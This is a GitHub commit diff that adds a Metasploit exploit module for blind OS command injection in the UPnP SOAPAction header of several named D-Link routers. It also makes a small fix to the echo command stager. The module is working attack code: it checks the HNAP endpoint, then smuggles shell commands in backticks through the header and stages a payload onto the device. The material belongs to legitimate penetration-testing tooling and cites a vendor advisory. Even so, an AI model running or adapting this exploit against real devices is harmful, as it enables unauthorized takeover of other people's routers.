Skip to content

Commit 1be04a9

Browse files
committed
Land rapid7#5182, @m-1-k-3's exploit for Dlink UPnP SOAP-Header Injection
2 parents 8c7d41c + 8b2e49e commit 1be04a9

File tree

2 files changed

+123
-3
lines changed

2 files changed

+123
-3
lines changed

lib/rex/exploitation/cmdstager/echo.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,9 +27,12 @@ def initialize(exe)
2727
#
2828
def generate(opts = {})
2929
opts[:temp] = opts[:temp] || '/tmp/'
30-
opts[:temp].gsub!(/\\/, "/")
31-
opts[:temp] = opts[:temp].shellescape
32-
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
30+
31+
unless opts[:temp].empty?
32+
opts[:temp].gsub!(/\\/, '/')
33+
opts[:temp] = opts[:temp].shellescape
34+
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
35+
end
3336

3437
# by default use the 'hex' encoding
3538
opts[:enc_format] = opts[:enc_format] || 'hex'
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link Devices UPnP SOAPAction-Header Command Execution',
17+
'Description' => %q{
18+
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
19+
interface. Since it is a blind OS command injection vulnerability, there is no
20+
output for the executed command. This module has been tested on a DIR-645 device.
21+
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
22+
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
23+
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
24+
},
25+
'Author' =>
26+
[
27+
'Samuel Huntley', # first public documentation of this Vulnerability on DIR-645
28+
'Craig Heffner', # independent Vulnerability discovery on different other routers
29+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051'],
35+
['URL', 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/']
36+
],
37+
'DisclosureDate' => 'Feb 13 2015',
38+
'Privileged' => true,
39+
'Platform' => 'linux',
40+
'Targets' =>
41+
[
42+
[ 'MIPS Little Endian',
43+
{
44+
'Arch' => ARCH_MIPSLE
45+
}
46+
],
47+
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
48+
{
49+
'Arch' => ARCH_MIPSBE
50+
}
51+
]
52+
],
53+
'DefaultTarget' => 0
54+
))
55+
56+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
57+
end
58+
59+
def check
60+
uri = '/HNAP1/'
61+
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'
62+
63+
begin
64+
res = send_request_cgi({
65+
'uri' => uri,
66+
'method' => 'GET',
67+
'headers' => {
68+
'SOAPAction' => soap_action,
69+
}
70+
})
71+
72+
if res && [200].include?(res.code) && res.body =~ /D-Link/
73+
return Exploit::CheckCode::Detected
74+
end
75+
rescue ::Rex::ConnectionError
76+
return Exploit::CheckCode::Unknown
77+
end
78+
79+
Exploit::CheckCode::Unknown
80+
end
81+
82+
def exploit
83+
print_status("#{peer} - Trying to access the device ...")
84+
85+
unless check == Exploit::CheckCode::Detected
86+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
87+
end
88+
89+
print_status("#{peer} - Exploiting...")
90+
91+
execute_cmdstager(
92+
:flavor => :echo,
93+
:linemax => 200,
94+
:temp => ''
95+
)
96+
end
97+
98+
def execute_command(cmd, opts)
99+
100+
uri = '/HNAP1/'
101+
102+
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
103+
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
104+
105+
begin
106+
res = send_request_cgi({
107+
'uri' => uri,
108+
'method' => 'GET',
109+
'headers' => {
110+
'SOAPAction' => soap_action,
111+
}
112+
}, 3)
113+
rescue ::Rex::ConnectionError
114+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
115+
end
116+
end
117+
end

0 commit comments

Comments
 (0)